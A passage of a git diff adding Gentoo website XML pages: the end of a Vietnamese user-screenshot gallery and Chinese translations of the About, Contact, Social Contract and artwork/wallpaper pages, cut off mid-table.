+<date>2006-02-15</date>
+
+<chapter>
+	<title>Chúng đây.. nhấn vào để có phiên bản PNG lớn!</title>
+
+  <section>
+  <title>Miễn trừ trách nhiệm</title>
+  <body>
+
+  <p>
+  Các ảnh chụp trên trang này được đóng góp bởi người dùng Gentoo.
+  Thông tin về  theme được dùng, ảnh nền ... không có thông qua
+  Gentoo. Bạn sẽ cần liên lạc với tác giả (nếu bạn có thể tìm ra tác
+  giả) để có thêm thông tin chi tiết.
+  </p>
+
+  <p>
+  Bạn có thể tìm tác giả trên kênh irc #gentoo của chúng tôi trên
+  irc.freenode.net hoặc thông qua <uri
+  link="http://forums.gentoo.org">diễn đàn gentoo</uri>.
+  </p>
+
+  </body>
+  </section>
+
+<section>
+<title>Darkclown Coronado</title>
+<body>
+
+<p>
+Darkclown (đừng hỏi) đã gửi những ảnh chụp của mình, thể hiện biểu tượng tương tự Vista của saki và gears desktop của ChristianNickel. Desktop của anh ta là KDE với viền cửa sổ Plastik và dùng style Keramik. Bạn sẽ thấy plugin karamba như liquid weather và cynapses aero.
+</p>
+
+<fig link="/images/shots/desktop-rehcmx-small.jpg"
+     linkto="/images/shots/desktop-rehcmx.jpg" />
+
+</body>
+</section>
+
+<section>
+<title>Scott S Short</title>
+<body>
+
+<p>
+Máy của Scott dùng kernel 2.6.14-gentoo-r2 và Gnome 2.12 với theme
+Milk 2.0. Mọi biểu tượng được lấy từ trang Web Gentoo.
+</p>
+
+<fig link="/images/shots/desktop-scottsshort-small.png"
+     linkto="/images/shots/desktop-scottsshort.png" />
+
+</body>
+</section>
+
+<section>
+<title>Richard Head</title>
+<body>
+
+<p>
+Richard là một trong số nhiều người dùng bị ấn tượng bởi tính uyển
+chuyển của Gentoo. Anh ta mô tả ảnh chụp của mình là "khá đẹp", hiện
+mp3 player, thông tin hệ thống, terminal trong suốt và menu và một
+port scan.
+</p>
+
+<fig link="/images/shots/desktop-cadaver138-small.png"
+     linkto="/images/shots/desktop-cadaver138.png" />
+
+</body>
+</section>
+
+<section>
+<title>Wolfram Schlich</title>
+<body>
+
+<p>
+Wolfram là một trong những Gentoo developer chịu trách nhiệm về mảng
+chống virus trong Portage. Ảnh chụp của anh hiện gnome-2.8 đang chạy
+firefox 1.0.2 với theme qute3, xmms (xawmms skin) và hai terminl chạy
+centericq và htop.
+</p>
+
+<fig link="/images/shots/wschlich-small.png" linkto="/images/shots/wschlich.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Michael Olson</title>
+<body>
+
+<p>
+Ảnh chụp của Michael hiển thị Enlightenment 0.17 (prerelease 10) với
+vài module của E17, như đồng hồ, bộ khởi động ứng dụng và phân trang.
+Ngoài ra còn có gkrellm, mozilla, evidence, xemacs-gtk, erss (tổng hợp
+tin tức rss), gaim và xmms.
+</p>
+
+<fig link="/images/shots/olson-small.png" linkto="/images/shots/olson.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Buda Travers</title>
+<body>
+
+<p>
+Buda là một trong nhiều, nhiều, nhiều người dùng Gentoo hạnh phúc. Anh
+mới làm quan với GNU/Linux nhưng đã đọc hết GPL :) Hệ thống của anh
+dùng Gnome. Trên ảnh chụp, bạn có thể thấy Gaim, XMMS dùng skin
+Gentoo_Ice và tiến trình biên dịch OpenOffice 1.1.3.
+</p>
+
+<fig link="/images/shots/buda-small.png" linkto="/images/shots/buda.png"/>
+
+</body>
+</section>
+
+<section>
+<title>William Godois</title>
+<body>
+
+<p>
+William đã dùng Gentoo 9 tháng sau 2 năm dùng Mandrake. Trinh quản lý
+cửa sổ của anh là Enlightenment, như bạn thấy trong ảnh chụp. Bạn cũng
+thấy ảnh nền lấy từ Cognitive Distortion và các ảnh biểu tượng lấy
+từ trang Web của Gentoo.
+</p>
+
+<fig link="/images/shots/godoisw-small.jpg" linkto="/images/shots/godoisw.jpg"/>
+
+</body>
+</section>
+
+<section>
+<title>Alex Santiago</title>
+<body>
+
+<p>
+Alex là người dùng Gentoo mới toanh, bắt đầu từ tháng 10 năm 2004 khi
+anh khám phá ra Gentoo trên DVD đính kèm với tạp chí Linux Format.
+Trong ảnh là KDE 3.3.1 và Eterm 0.9.2 đang "tail" message log. Bạn
+cũng thấy gdesklets và calendar, Kopete và gkrellm ở cạnh desktop.
+</p>
+
+<fig link="/images/shots/alex-small.png" linkto="/images/shots/alex.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Eric Holmes</title>
+<body>
+
+<p>
+Desktop của Eric dùng XFCE4 làm trình quản lý cửa sổ và ROX2 làm trình
+quản lý tập tin và biểu tượng trên desktop. Bên phải, bạn thấy Anjuta
+đang sửa mã nguồn fbgrab. Ngoài ra XFCE4 panel còn có applet theo dõi
+kết nối không dây trong mạng của Eric.
+</p>
+
+<fig link="/images/shots/ejholmes-small.png" linkto="/images/shots/ejholmes.png"/>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/zh_cn/about.xml b/xml/htdocs/main/zh_cn/about.xml
new file mode 100644
index 00000000..56492892
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/about.xml
@@ -0,0 +1,92 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/about.xml,v 1.2 2008/05/30 18:32:46 r0bertz Exp $ -->
+<!-- English CVS version: 1.39 -->
+
+<mainpage>
+<title>关于Gentoo</title>
+<author title="作者">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="编辑">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="编辑">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="编辑">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="编辑">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="编辑">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+<author title="美工">
+  黄婷婷
+</author>
+
+<abstract>
+一篇概述，关于Gentoo。
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>关于Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster-zh_cn.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo是什么？</title>
+<body>
+
+<p>
+Gentoo是一个基于Linux或FreeBSD的自由操作系统，它能为几乎任何应用程序或需求自动地作出优化和定制。追求极限的配置、性能，以及顶尖的用户和开发者社区，都是Gentoo体验的标志特点。
+</p>
+
+<p>
+得益于一种称为Portage的技术，Gentoo能成为理想的安全服务器、开发工作站、专业桌面、游戏系统、嵌入式解决方案或者别的东西——你想让它成为什么，它就可以成为什么。由于它近乎无限的适应性，我们把Gentoo称作<b>元</b>发行版。
+</p>
+
+<p>
+当然，Gentoo的意义不仅仅在于它所提供的软件。它是围绕着一个发行版建立起来的社区，由300多名开发人员和数以千记的用户共同驱动。发行版项目为用户提供各种途径来享用Gentoo：文档、基础设施（邮件列表、站点、论坛……）、版本发布工程、软件移植、质量保证、安全跟进、强化（hardening），等等。
+</p>
+
+<p>
+为了商讨和协助Gentoo的全局开发，每年推选出一个<uri link="/proj/en/council/">7人议会</uri>，对Gentoo项目中的全局性问题、方针政策和发展进步做出决定。
+</p>
+
+</body>
+</section>
+<section>
+<title>Portage是什么？</title>
+<body>
+
+<p>
+<b>Portage</b>是Gentoo的核心，履行许多关键的职责。其一，Portage是Gentoo的<e>软件发行</e>系统。Gentoo下要获取最新的软件，打一个命令：<c>emerge --sync</c>。这个命令告诉Portage从网上更新你本地的“Portage树”。本地Portage树包含一份完整的脚本集合，Portage以之创建和安装最新的Gentoo软件包。当前，我们的Portage树中拥有<uri link="http://packages.gentoo.org/categories">超过10000个软件包</uri>，软件包更新和新软件包<uri link="http://packages.gentoo.org">每时每刻都在加入中</uri>。
+</p>
+
+<p>
+Portage也是一个<e>软件包构建和安装</e>系统。当你想安装一个软件包时，你输入“<c>emerge 软件包名</c>”，此时Portage按照你作的具体配置自动构建一个软件包的定制版本。请根据自己的硬件优化配置，确保启用了软件包中你想要的一些可选特性——同时确保未启用那些你不想要的。
+</p>
+
+<p>
+Portage还使系统保持在<e>持续更新状态</e>。输入<c>emerge -uD world</c>——一个命令——能确保系统中<e>你</e>想要的所有软件包得到自动更新。
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/contact.xml b/xml/htdocs/main/zh_cn/contact.xml
new file mode 100644
index 00000000..9bc5ff53
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/contact.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- English CVS version: 1.4 -->
+<mainpage>
+<title>联系Gentoo Linux</title>
+
+<author title="作者">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+怎么联系Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-01</date>
+
+<chapter>
+<title>我应该与谁联系？</title>
+<section>
+<title>目录</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">介绍</uri></li>
+  <li><uri link="#pr">公共关系/活动</uri></li>
+  <li><uri link="#www">网站管理员</uri></li>
+  <li><uri link="#trustees">Gentoo基金会</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="intro">
+<title>介绍</title>
+<body>
+
+<p>
+“Gentoo”意味着很多东西。它是一个基于社区的Linux发行版。它是一个关于软件包管理的哲学。它又是一个非营利组织。本文试图让您与Gentoo内部正确的小组取得联系，以便您的信件能得到尽快处理。
+</p>
+
+<p>
+对于即将举行的活动、访谈、一般问题的相关信息，或者仅仅是想找出关于Gentoo和Gentoo产品的更多信息，您可能会希望同Gentoo<uri link="#pr">公共关系</uri>项目中的某个人交谈。
+</p>
+
+<p>
+对于架设在<c>gentoo.org</c>域上的任何其它Gentoo网站，以及相关的信息，您可能会希望同Gentoo的<uri link="#www">网站管理员</uri>交谈。
+</p>
+
+<p>
+对于Gentoo基金会的相关信息，或者任何涉及Gentoo知识产权、商标和版权的事，您可能会希望跟Gentoo基金会的<uri link="#trustees">董事会</uri>交谈。
+</p>
+
+<p>
+如果您正在寻求关于Gentoo Linux或者任何其它Gentoo产品或项目方面的支持，那么您应该前往我们的<uri link="/main/en/support.xml">支持</uri>页面获取进一步信息。
+</p>
+
+</body>
+</section>
+
+<section id="pr">
+<title>公共关系</title>
+<body>
+
+<p>
+Gentoo<uri link="/proj/en/pr/">公共关系</uri>项目，和它的<uri link="/proj/en/pr/events/">活动</uri>子项目负责宣传有关Gentoo的消息，以及协调Gentoo出席社区内部的各种贸易展出和展览会。
+</p>
+
+<p>
+公关团队最可能是您希望联系的团队，因为他们是进入Gentoo内部运作的大门。如果您正在寻找一篇文章的材料，寻访某个人，或者仅仅是想了解更多关于Gentoo以及它提供了什么，请留步公关团队。联系公关团队，只要发一封电子邮件到<mail>pr@gentoo.org</mail>然后团队中的某个人会尽快跟您联系。
+</p>
+
+</body>
+</section>
+
+<section id="www">
+<title>网站管理员</title>
+<body>
+
+<p>
+维护Gentoo的web站点是一项艰巨可怖的任务。Gentoo拥有一个专注的网站管理员团队，我们的站点在他们的维持下显得引人注目并且处于持续更新状态。如果您有关于任何一个Gentoo web站点的问题或意见，那么这个团队就是您要寻找的。可以通过发送电子邮件到<mail>www@gentoo.org</mail>与他们取得联系。
+</p>
+
+</body>
+</section>
+
+<section id="trustees">
+<title>Gentoo基金会董事会</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">Gentoo基金会</uri>是一个非营利组织，它体现为Gentoo知识产权的保护者。董事会是由选举产生的Gentoo美国法人监理。如果您的问题是法律性质的，那么您应该发送电子邮件到<mail>trustees@gentoo.org</mail>然后会有个董事会成员尽快回复您。
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/contract.xml b/xml/htdocs/main/zh_cn/contract.xml
new file mode 100644
index 00000000..13b75fbe
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/contract.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- English CVS version: 1.13 -->
+
+<mainpage>
+<title>Gentoo社群契约</title>
+
+<author title="作者">
+  The Gentoo Project
+</author>
+<author title="编辑">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+本文包含对Gentoo社区的一份承诺，是关于Gentoo软件的自由使用权、Gentoo开发过程的开放性以及我们回馈给自由软件社区的反馈信息。
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Gentoo社群契约</title>
+<section>
+<body>	
+
+<p>
+这篇社群契约的目的在于明确描述Gentoo项目开发团队的整体开发政策和标准。本文的部分内容来自<uri link="http://www.debian.org/social_contract">Debian社群契约</uri>。这些内容总体上跟原来很相似，有些部分经过澄清和补充，还有些部分我们认为是多余的被删除了。欢迎您批评指正。请将意见发送到我们的<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>邮件列表。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo是什么？</title>
+<body>
+
+<p>
+Gentoo本身是自由知识的一份汇集。文中所指的“知识”可以定义为涉及到操作系统及其组成要素相关的概念或领域的文档和元数据，以及许多开发人员贡献给Gentoo项目的<uri link="http://www.fsf.org/philosophy/free-sw.html">自由软件</uri>。
+</p>
+
+<p>
+Gentoo——操作系统，是来自上述“知识”的基本概念。一个Gentoo操作系统应当满足自建主机系统的要求。换句话说，这种操作系统应能够通过使用前面提到的工具和元数据从零开始构建自己。如果一个结合官方Gentoo项目的产品不满足这些要求，那么这个产品就不符合作为一个Gentoo操作系统。
+</p>
+
+<p>
+一张官方的Gentoo项目清单列于<uri link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo元架构</uri>下。一个Gentoo项目不需要为了被官方承认而去制作一个Gentoo操作系统。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo是并且将始终是自由软件</title>
+<body>
+
+<p>
+我们将以自由软件、元数据或文档的方式发布我们对Gentoo的贡献，内容遵循GNU通用公共许可证版本2（或更新，我们酌情决定）或知识共享-署名-相同方式共享版本2（或更新，我们酌情决定）。任何对Gentoo的外来贡献（以可自由发布的源代码、二进制文件、元数据或文档的形式）都可能被纳入Gentoo，只要我们在法律上有权这样做。然而，除非遵守GNU通用公共许可证、GNU宽通用公共许可证、知识共享-署名-相同方式共享或者被开源促进会（<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>）认可的其它许可证，否则Gentoo绝不会<e>依赖</e>于任何零碎的软件或元数据。
+</p>
+
+<note>
+我们正在考虑延伸上述条款，要求所有Gentoo的核心组件必须遵守被OSI<e>和</e>自由软件基金会（<uri link="http://www.gnu.org/">FSF</uri>）认可的许可证之一。
+</note>
+
+</body>
+</section>
+<section>
+<title>我们将回馈自由软件社区</title>
+<body>
+
+<p>
+我们会跟自由软件的作者建立联系并尽可能与他们合作。我们会向那些作品被我们系统收录的“上游”作者提交bug修补、改进、用户需求，等等。我们还将为<e>我们</e>对Gentoo所作的贡献，以及我们对Gentoo用到的外来资源所做的任何改进或变更（不论是以补丁、“sed tweaks”或是其它什么的形式），做出清晰的文档。我们确信如果对我们的改进和变更做了清晰的文档和解释，它们对于更广泛的自由软件社区就会显得更加富有意义。因为不是每个人都有时间或能力去理解包含在补丁或优化自身中平白的变更信息。
+</p>
+
+</body>
+</section>
+<section>
+<title>我们绝不隐瞒问题</title>
+<body>
+
+<p>
+我们会让我们的<uri link="http://bugs.gentoo.org/">bug报告数据库</uri>对公众视野一直保持开放；用户在线提交的报告会立即的出现在其他人的视线内。
+</p>
+
+<p>
+例外情况是当我们收到安全相关或开发者相关的，要求在某个最终期限之前不要公开的信息时。
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/graphics.xml b/xml/htdocs/main/zh_cn/graphics.xml
new file mode 100644
index 00000000..b71ae0f0
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/graphics.xml
@@ -0,0 +1,425 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/graphics.xml,v 1.1 2009/04/14 15:11:29 r0bertz Exp $ -->
+<!-- English CVS version: 1.36 -->
+
+<mainpage>
+<title>Gentoo Linux艺术图形</title>
+
+<author title="前首席架构师">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="编辑">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+各种图形资源的列表，可供于遵循Gentoo名称和徽标使用准则的条款下使用
+</abstract>
+
+<license/>
+
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Gentoo品牌艺术作品</title>
+<section>
+<title>使用条款</title>
+<body>
+
+<p>
+这个页面中的图形是由很多作者作成的，他们授权允许你使用并适当地修改它们。对Gentoo名称和徽标的使用受<uri link="/main/zh_cn/name-logo.xml">Gentoo名称和徽标使用准则</uri>的支配。
+</p>
+
+</body>
+</section>
+<section>
+<title>贡献</title>
+<body>
+
+<p>
+如果你想要向Gentoo贡献一张图形，请首先使用<uri link="http://forums.gentoo.org">Gentoo论坛</uri>，以便其他人能评论和帮助你改进图形的质量。然后联系请求<mail link="www@gentoo.org">Gentoo万维网团队</mail>采纳你的图形。
+</p>
+
+<p>
+如果你的作品跟现有的图形很相似、不能够被充分肯定、不符合Gentoo精神（比如因为它具有攻击性）或者任何其它原因，团队可能会决定不采纳它。
+</p>
+
+<p>
+将一张图形纳入这个页面会花一些时间，请耐心点儿。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo各种各样的图形</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">svg格式的G徽标，Lennart Andre Rolland提供。</uri>
+</p>
+
+<p>
+<uri link="/images/gentoo-openbsd.png">png格式的Gentoo/OpenBSD徽标，Gentoo艺术作品项目提供。</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux徽章</title>
+<body>
+
+<p>
+<b>让世界知道你运行在Gentoo Linux上。</b>
+</p>
+
+<p>
+将一张<e>Powered by Gentoo</e>的图像放在你的由Gentoo推动的网站上，或者使用一个<e>Gentoo徽标</e>放在你的网页、博客、论坛签名或其它地方，并链接回<uri link="http://www.gentoo.org">http://www.gentoo.org</uri>——帮助我们做宣传！告诉别人你跟Gentoo Linux在一起有多快乐。
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Small</uri> - 
+    <uri link="/images/powered.png">Medium</uri> -
+    <uri link="/images/powered-big.png">Large</uri>
+  </ti>
+  <ti>
+    by Sascha Schwabbauer
+  </ti>
+  <ti>
+    by Ralph Jacobs
+  </ti>
+  <ti>
+    by Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/hardened-badge.png"/><br/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti>
+    by <uri link="http://www.liquidustech.com/">Matthew Summers</uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux壁纸</title>
+<body>
+
+<p>
+<b>用一张好看的Gentoo壁纸作为你的招牌桌面，向同事炫耀你运行着Gentoo Linux。</b>
+</p>
+
+<p>
+使用这些<e>Gentoo壁纸</e>中的一张来装饰你的桌面。向每个人炫耀你骄傲地运行着Gentoo Linux。
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    by Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
